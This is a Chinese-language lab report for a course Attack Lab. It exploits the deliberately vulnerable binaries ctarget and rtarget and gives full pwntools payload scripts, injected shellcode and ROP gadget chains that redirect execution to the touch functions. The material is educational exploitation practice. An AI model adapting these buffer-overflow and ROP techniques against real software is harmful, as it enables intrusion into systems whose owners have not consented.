Attack Lab 实验报告

By Zeng GuanYang

CTARGET

使用 `checksec` 命令查看 `ctarget` 的安全机制：

```
$ checksec --file=ctarget
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    Stripped:   No
    Debuginfo:  Yes
```

可以看到 `ctarget` 没有开启 PIE。
（虽然 `checksec` 显示 NX enabled 但是实际上代码中的 `stable_launch` 用 `mmap` 将 buf 所在内存设置为了可读可写可执行）

1. Touch1

首先用 objdump 将文件反编译

```
objdump -d ctarget > ctarget.asm
```

查看 `getbuf` 函数

```
0000000000808a02 <getbuf>:
  808a02:       48 83 ec 38                 sub    $0x38,%rsp
  808a06:       48 89 e7                    mov    %rsp,%rdi
  808a09:       e8 94 02 00 00              call   808ca2 <Gets>
  808a0e:       b8 01 00 00 00              mov    $0x1,%eax
  808a13:       48 83 c4 38                 add    $0x38,%rsp
  808a17:       c3                          ret
```

可以看到 `getbuf` 函数中调用了 `Gets` 函数，并且为 `Gets` 函数分配了 0x38 字节的栈空间用于存储输入的数据。

用 IDA 反编译可以看到 `Gets` 函数的实现如下：

```
char *__fastcall Gets(char *dest)
{
  char *i; // rbx
  int v2; // eax

  gets_cnt = 0;
  for ( i = dest; ; ++i )
  {
    v2 = _IO_getc(infile);
    if ( v2 == -1 || v2 == 10 )
      break;
    *i = v2;
    save_char(v2);
  }
  *i = 0;
  save_term();
  return dest;
}
```

可以看到 `Gets` 函数使用了 `_IO_getc` 函数从标准输入读取数据，并将数据存储到传入的 `dest` 指针所指向的内存区域中。

`save_char` 和 `save_term` 函数用于记录输入的数据，保存到全局的`gets_buf` 数组中。当然这个和题目无关。

可以看到 `Gets` 函数没有对输入的数据进行任何边界检查。我们利用缓存区溢出漏洞覆盖返回

地址，从而控制程序的执行流程。

回到 `getbuf` 函数，我们需要覆盖返回地址。由于 `getbuf` 函数为 `Gets` 函数分配了 0x38 字节的栈空间，我们需要输入 0x38 字节的数据来填满缓冲区，然后再输入 8 字节的数据来覆盖返回地址。

在反编译的汇编代码中可以查到 touch1 函数的地址为 `0x808a18`，因此我们利用如下代码可以实现跳转到 `touch1` 函数：

```
def touch1():
    payload = b'A' * 0x38
    payload += p64(0x808a18)  # Address of touch1 function
    # Start the process and send the payload
    save_answer(payload, 'src/ctarget01.txt')
    p = process('./ctarget')
    p.sendline(payload)
    p.interactive()
    p.close()
    return
```

2. Touch2

首先我们得到 `touch2` 函数如下：

```
0000000000808a46 <touch2>:
  808a46:        48 83 ec 08                 sub    $0x8,%rsp
  808a4a:        89 fa                       mov    %edi,%edx
  808a4c:        c7 05 a6 3a 20 00 02        movl   $0x2,0x203aa6(%rip)        # a0c4fc <vlevel>
  808a53:        00 00 00
  808a56:        39 3d a8 3a 20 00           cmp    %edi,0x203aa8(%rip)        # a0c504 <cookie>
  808a5c:        74 2a                       je     808a88 <touch2+0x42>
  808a5e:        48 8d 35 33 19 00 00        lea    0x1933(%rip),%rsi        # 80a398 <_IO_stdin_
  808a65:        bf 01 00 00 00              mov    $0x1,%edi
  808a6a:        b8 00 00 00 00              mov    $0x0,%eax
  808a6f:        e8 6c 83 bf ff              call   400de0 <__printf_chk@plt>
  808a74:        bf 02 00 00 00              mov    $0x2,%edi
  808a79:        e8 6b 05 00 00              call   808fe9 <fail>
  808a7e:        bf 00 00 00 00              mov    $0x0,%edi
  808a83:        e8 98 83 bf ff              call   400e20 <exit@plt>
  808a88:        48 8d 35 e1 18 00 00        lea    0x18e1(%rip),%rsi        # 80a370 <_IO_stdin_
  808a8f:        bf 01 00 00 00              mov    $0x1,%edi
  808a94:        b8 00 00 00 00              mov    $0x0,%eax
  808a99:        e8 42 83 bf ff              call   400de0 <__printf_chk@plt>
  808a9e:        bf 02 00 00 00              mov    $0x2,%edi
  808aa3:        e8 71 04 00 00              call   808f19 <validate>
  808aa8:        eb d4                       jmp    808a7e <touch2+0x38>
```

可以看到 `touch2` 的地址为 `0x808a46`，这是我们首先需要跳转的地址。

此外，`touch2` 函数中有一个条件跳转 `je 808a88`，这个跳转依赖于比较 `edi` 寄存器和内存中 `cookie` 变量的值是否相等。
因此，我们需要在跳转到 `touch2` 函数之前，注入代码，将我们 `cookie` 的值写入到 `edi` 寄存器中。

首先构造注入代码：

```
movq $0x2ce1a21a, %rdi  # Load the value of cookie into rdi
pushq $0x808a46         # Push the address of touch2 onto the stack
ret                     # Return to touch2
```

随后，我们要在栈上放置这段代码，并跳转到它，执行。
我们直接利用缓冲区溢出来执行我们的代码。那么首先我们需要得到函数 `getbuf` 栈中存放读取

字符串的地址。
再次看到 `getbuf` 函数：

```
0000000000808a02 <getbuf>:
  808a02:        48 83 ec 38                 sub    $0x38,%rsp
  808a06:        48 89 e7                    mov    %rsp,%rdi
  808a09:        e8 94 02 00 00              call   808ca2 <Gets>
  808a0e:        b8 01 00 00 00              mov    $0x1,%eax
  808a13:        48 83 c4 38                 add    $0x38,%rsp
  808a17:        c3                          ret
```

使用 gdb 调试 `ctarget`，在 `Gets` 函数处设置断点，运行程序后查看 `rdi` 寄存器的值：

```
(gdb) b Gets
(gdb) r
(gdb) i r $rdi
rdi            0x55614678          1432438392
```

可以看到 `rdi` 寄存器的值为 `0x55614678`，这就是 `getbuf` 函数为 `Gets` 函数分配的缓冲区起始地址。
这样，我们就可以构建如下代码：

```
def touch2():
    KS = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64)
    KS.syntax = keystone.KS_OPT_SYNTAX_ATT
    asm = """
movq $0x2ce1a21a,%rdi
pushq $0x808a46
ret
        """
    encoding, count = KS.asm(asm)
    shellcode = bytes(encoding)
    print("Shellcode length:")
    print(len(shellcode))
    print("Shellcode:")
    print(shellcode)
    payload = shellcode
    payload += b'A' * (0x38 - len(shellcode))
    payload += p64(0x55614678)  # Address of buffer -> %rsp
    save_answer(payload, 'src/ctarget02.txt')

    # Start the process and send the payload

    p = process('./ctarget')
    p.sendline(payload)
    p.interactive()
    p.close()
    return
```

首先使用 keystone 库将汇编代码转换为机器码，然后构造 payload，最后发送给程序。
在缓冲区溢出的部分，放入我们得到的栈地址 `0x55614678`，这样当执行 `ret` 指令时，就会跳转到我们放置的代码处，执行我们注入的代码。
在注入的代码中，我们首先把 `cookie` 的值 `0x2ce1a21a` 放入 `rdi` 寄存器中，然后将 `touch2` 函数的地址压入栈中，最后执行 `ret` 指令，
从而实现跳转到 `touch2` 函数并满足条件跳转。

3. Touch3

由于我们之前都是将注入代码保存在 `getbuf` 函数的栈空间（虽然有溢出）中，而 `touch3` 函数比较特殊，它会在执行过程中调用 `hexmatch` 函数，

而 `hexmatch` 函数创建一个 110 字节的 `cbuf` 缓冲区，会破坏我们原来函数的 0x38 字节的栈空间，我们的 Cookie 字符串不能放在这个地方。
需要找到一个更稳定的地方：看向我们的 `test` 函数，

```
0000000000808bcf <test>:
  808bcf:        48 83 ec 08                 sub    $0x8,%rsp
  808bd3:        b8 00 00 00 00              mov    $0x0,%eax
  808bd8:        e8 25 fe ff ff              call   808a02 <getbuf>
  808bdd:        89 c2                       mov    %eax,%edx
  808bdf:        48 8d 35 2a 18 00 00        lea    0x182a(%rip),%rsi        # 80a410 <_IO_stdin_
  808be6:        bf 01 00 00 00              mov    $0x1,%edi
  808beb:        b8 00 00 00 00              mov    $0x0,%eax
  808bf0:        e8 eb 81 bf ff              call   400de0 <__printf_chk@plt>
  808bf5:        48 83 c4 08                 add    $0x8,%rsp
  808bf9:        c3
```

可以看到，`test` 函数开辟了栈空间，但是从未使用！
而这个位置就在栈上 `test` 返回地址所在位置的后八个字节。
我们最开始知道了调用 `Gets` 前 `rsp` 的位置是 `0x55614678`，`getbuf` 开辟了 0x38 字节的空间，那么 `getbuf` 返回地址（`test` 函数地址）的位置就是 `0x55614678 + 0x38 = 0x556146B0`，进而得到这个 `test` 函数未使用的地址是 `0x556146B0 + 0x8 = 0x556146B8`。
这样，我们就可以构造如下代码：

```
def touch3():
    KS = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64)
    KS.syntax = keystone.KS_OPT_SYNTAX_ATT
    asm = """
movq $0x556146B8,%rdi
pushq $0x808b5d
ret
        """
    encoding, count = KS.asm(asm)
    shellcode = bytes(encoding)
    print("Shellcode length:")
    print(len(shellcode))
    print("Shellcode:")
    print(shellcode)
    payload = shellcode
    payload += b'A' * (0x38 - len(shellcode))
    payload += p64(0x55614678)  # Address of buffer -> %rsp
    payload += b'2ce1a21a'  # Test string at the unused stack space in test function
    save_answer(payload, 'src/ctarget03.txt')

    # Start the process and send the payload

    p = process('./ctarget')
    p.sendline(payload)
    p.interactive()
    p.close()
    return
```

这样我们完成了 CTARGET

RTARGET

使用 `checksec` 命令查看 `rtarget` 的安全机制：

```
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    Stripped:   No
    Debuginfo:  Yes
```

同样，`rtarget` 没有开启 PIE。
（这次没有 `mmap` 了，需要利用代码 gadget ）

1. Touch2

首先用 objdump 将文件反编译

```
objdump -d rtarget > rtarget.asm
```

我们同样想进入 `touch2` 函数。基于 CTARGET 的思路，但是由于在 CTARGET 中要放入 `rdi` 的值很长，不可能在现有代码中找到对应片段，因此，只能手动将要放入 `rdi` 的值放入栈中，然后利用 pop 指令弹出到 `rdi`（或者其他寄存器，然后 `mov` 到 `rdi` 中）。
这样我们首先需要找到 `pop` 的 gadget。
farm 中的 gadget 范围为：`808bfa` 到 `808c34`。

我们用 ROPgadget 工具来寻找 gadget（ROPgadet使用 Intel 风格，因此后续都用 Intel风格）：

```
$ ROPgadget --binary rtarget --range 0x808bfa-0x808c34 | grep pop
0x0000000000808c21 : pop rax ; nop ; nop ; ret
0x0000000000808c10 : pop rax ; nop ; ret
```

可以看到 `0x808c10` 处有我们需要的 `pop rax; nop; ret` 指令。
下面我们需要找到能够将 `rax` 的值移动到 `rdi` 的 gadget。

```
$ ROPgadget --binary rtarget --range 0x808bfa-0x808c34 | grep mov
...
0x0000000000808c08 : mov edi, eax ; ret
...
```

可以看到 `0x808c08` 处有我们需要的 `mov edi, eax; ret` 指令。

因此，我们可以构造如下代码：

```
def touch2():
    payload = b'A' * 0x38
    payload += p64(0x808c10) # Gadget to set rax (pop rax ; ret)
    payload += p64(0x2ce1a21a) # Cookie value
    payload += p64(0x808c07)  # Gadget to move rax to rdi (mov rdi, rax ; ret)
    payload += p64(0x808a46)  # Address of touch2
    save_answer(payload, 'src/rtarget02.txt')

    # Start the process and send the payload

    p = process('./rtarget')
    p.sendline(payload)
    p.interactive()
    p.close()
    return
```

首先填充 0x38 字节的缓冲区，然后覆盖 `getbuf` 函数的返回地址，放入 `pop rax; nop; ret` gadget 地址，由于需要在栈上获取 `cookie` 的值，
因此在这个返回地址后放入 `cookie` 的值 `0x2ce1a21a`。
被 `pop` 指令弹出到 `rax` 寄存器中，然后 `rsp` 指向下一个返回地址，
在这里我们接着放入 `mov edi, eax; ret` gadget 地址，将 `rax` 的值移动到 `rdi` 中。
最后放入 `touch2` 函数的地址，实现跳转到 `touch2` 函数。

2. Touch3

原理和 CTARGET 的 `touch3` 类似。
这次 farm 的区间为 `808bfa` 到 `808d13`。
但是这次没有 `stable_launch` 了，栈开始地址是随机初始化的，跳转固定值的方法不可行。

但可以肯定的是，我们的 `cookie` 字符串仍然需要放在 `hexmatch` 函数覆盖不到的地方。

既然字符串在栈上，那么我们首先要能够得获得栈的地址。

我们用 ROPgadget 工具来寻找 gadget：

```
$ ROPgadget --binary rtarget --range 0x808bfa-0x808d13 | grep rsp
0x0000000000808cad : mov rax, rsp ; nop ; ret
0x0000000000808c41 : mov rax, rsp ; ret
0x0000000000808c8a : mov rax, rsp ; ret 0xc7c3
0x0000000000808ced : mov rax, rsp ; xchg ecx, eax ; ret
0x0000000000808c4e : mov rax, rsp ; xchg edx, eax ; ret
```

可以看到，我们可以利用 `0x808c41` 处的 `mov rax, rsp ; ret` 指令获得栈地址。

那么，获得栈地址后，肯定不是我们想要的地址，我们需要通过偏移来获得我们想要的地址。
有两种，一种是 `add` 指令，一种是 `lea` 指令。
先用 `lea` 试试。我们继续用 ROPgadget 工具来寻找 gadget：

```
$ ROPgadget --binary rtarget --range 0x808bfa-0x808d13 | grep lea
...
0x0000000000808c81 : lea eax, [rdi - 0x6d1f76b8] ; ret
0x0000000000808c3a : lea rax, [rdi + rsi] ; ret
0x0000000000808c5e : leave ; ret
...
```

可以看到 `0x808c3a` 处有我们需要的 `lea rax, [rdi + rsi]; ret` 指令。
之前的 `touch2` 中我们已经有把值放入 `rdi` 的方法了，那么我们只需要将偏移量放入 `rsi` 即可。

继续查找能够设置 `rsi` 的 gadget：

```
$ ROPgadget --binary rtarget --range 0x808bfa-0x808d13 | grep esi
0x0000000000808cba : mov esi, edx ; and al, al ; ret
0x0000000000808c54 : mov esi, edx ; or bl, bl ; ret
0x0000000000808ce0 : mov esi, edx ; xchg edx, eax ; nop ; ret
```

查看能够设置 `edx` 的 gadget：

```
0x0000000000808cf4 : mov edx, ecx ; and al, al ; ret
0x0000000000808cfb : mov edx, ecx ; nop ; ret
0x0000000000808cce : mov edx, ecx ; sbb bl, bl ; ret
0x0000000000808d07 : mov edx, ecx ; sub cl, cl ; ret
```

查看能够设置 `ecx` 的 gadget：

```
0x0000000000808cee : mov eax, esp ; xchg ecx, eax ; ret
0x0000000000808ca8 : mov ecx, eax ; ret
0x0000000000808cb3 : mov ecx, eax ; test dl, dl ; ret
```

可以看到回到了 `eax`，而 `eax` 可以通过 `pop rax` 来设置！

这样，我们的思路就清晰了：

1. 通过 `pop rax; ret` 获得偏移量 （这个需要计算，我们需要知道 `cookie` 字符串在栈上的偏移量）
2. 通过 `mov ecx, eax; ret` 将偏移量放入 `ecx`
3. 通过 `mov edx, ecx; nop; ret` 将偏移量放入 `edx`
4. 通过 `mov esi, edx; or bl, bl; ret` 将偏移量放入 `esi`
5. 通过 `mov rax, rsp; ret` 获得栈地址放入 `rax`
6. 通过 `mov rdi, rax; ret` 将栈地址放入 `rdi`
7. 通过 `lea rax, [rdi + rsi]; ret` 计算出 `cookie` 字符串的地址放入 `rax`
8. 通过 `mov rdi, rax; ret` 将 `cookie` 字符串地址放入 `rdi`
9. 最后跳转到 `touch3` 函数

由于最后的 `cookie` 字符串需要放在栈上，经过多次 `ret` 后，栈顶移动较大，因此需要将 `cookie` 字符串放在距离最开始栈顶较远的位置。
不妨放入 64 字节的 padding 在 `touch3` 返回地址的后面。

现在需要计算偏移量：
从获得 `rsp` 的值开始，到 `cookie` 字符串的位置，总共有：

- 4个 `p64` 地址，每个 8 字节，共 32 字节
- padding 64 字节
  总共 96 字节的偏移量。
  也就是说，我们需要将偏移量设置为 96 字节，即 0x60。

因此，我们在之前的 `pop` 指令gadget 后放入 `0x60` 即可。

因此，我们可以构造如下代码：

```
def touch3():
    payload = b'A' * 0x38
    payload += p64(0x808c10) # Gadget to set rax (pop rax ; ret)
    payload += p64(0x60) # Offset in rsp to get to our cookie string
    payload += p64(0x808ca8) # Gadget to move eax to ecx (mov ecx, eax ; ret)
    payload += p64(0x808cfb) # Gadget to move ecx to edx (mov edx, ecx ; nop ; ret)
    payload += p64(0x808c54) # Gadget to move edx to esi (mov esi, edx ; or bl, bl ; ret)
    payload += p64(0x808c41) # mov rax, rsp ; ret
    payload += p64(0x808c07) # Gadget to move rax to rdi (mov rdi, rax ; ret)
    payload += p64(0x808c3a) # (lea rax, [rdi + rsi]; ret)
    payload += p64(0x808c07) # Gadget to move rax to rdi (mov rdi, rax ; ret)
    payload += p64(0x808b5d)  # Address of touch3
    payload += b'A' * 64  # Padding to reach the cookie string
    payload += b'2ce1a21a'  # Cookie value as string
    save_answer(payload, 'src/rtarget03.txt')

    # Start the process and send the payload

    p = process('./rtarget')
    p.sendline(payload)
    p.interactive()
    p.close()
    return
```

至此，我们完成了 RTARGET

感想

无论是 CTARGET 还是 RTARGET，都是经典的缓冲区溢出漏洞利用。
即便通过某种安全手段，限制在栈上执行代码，但是通过 ROP 技术，仍然可以实现对程序流程的控制。
这提醒我们，在编写代码时，一定要注意输入的边界检查，避免缓冲区溢出漏洞的产生。
同时，尽管现代操作系统和编译器提供了多种安全机制，如栈保护、地址空间布局随机化等，但这些机制并非万无一失，仍然需要开发者保持警惕，写出健壮的代码。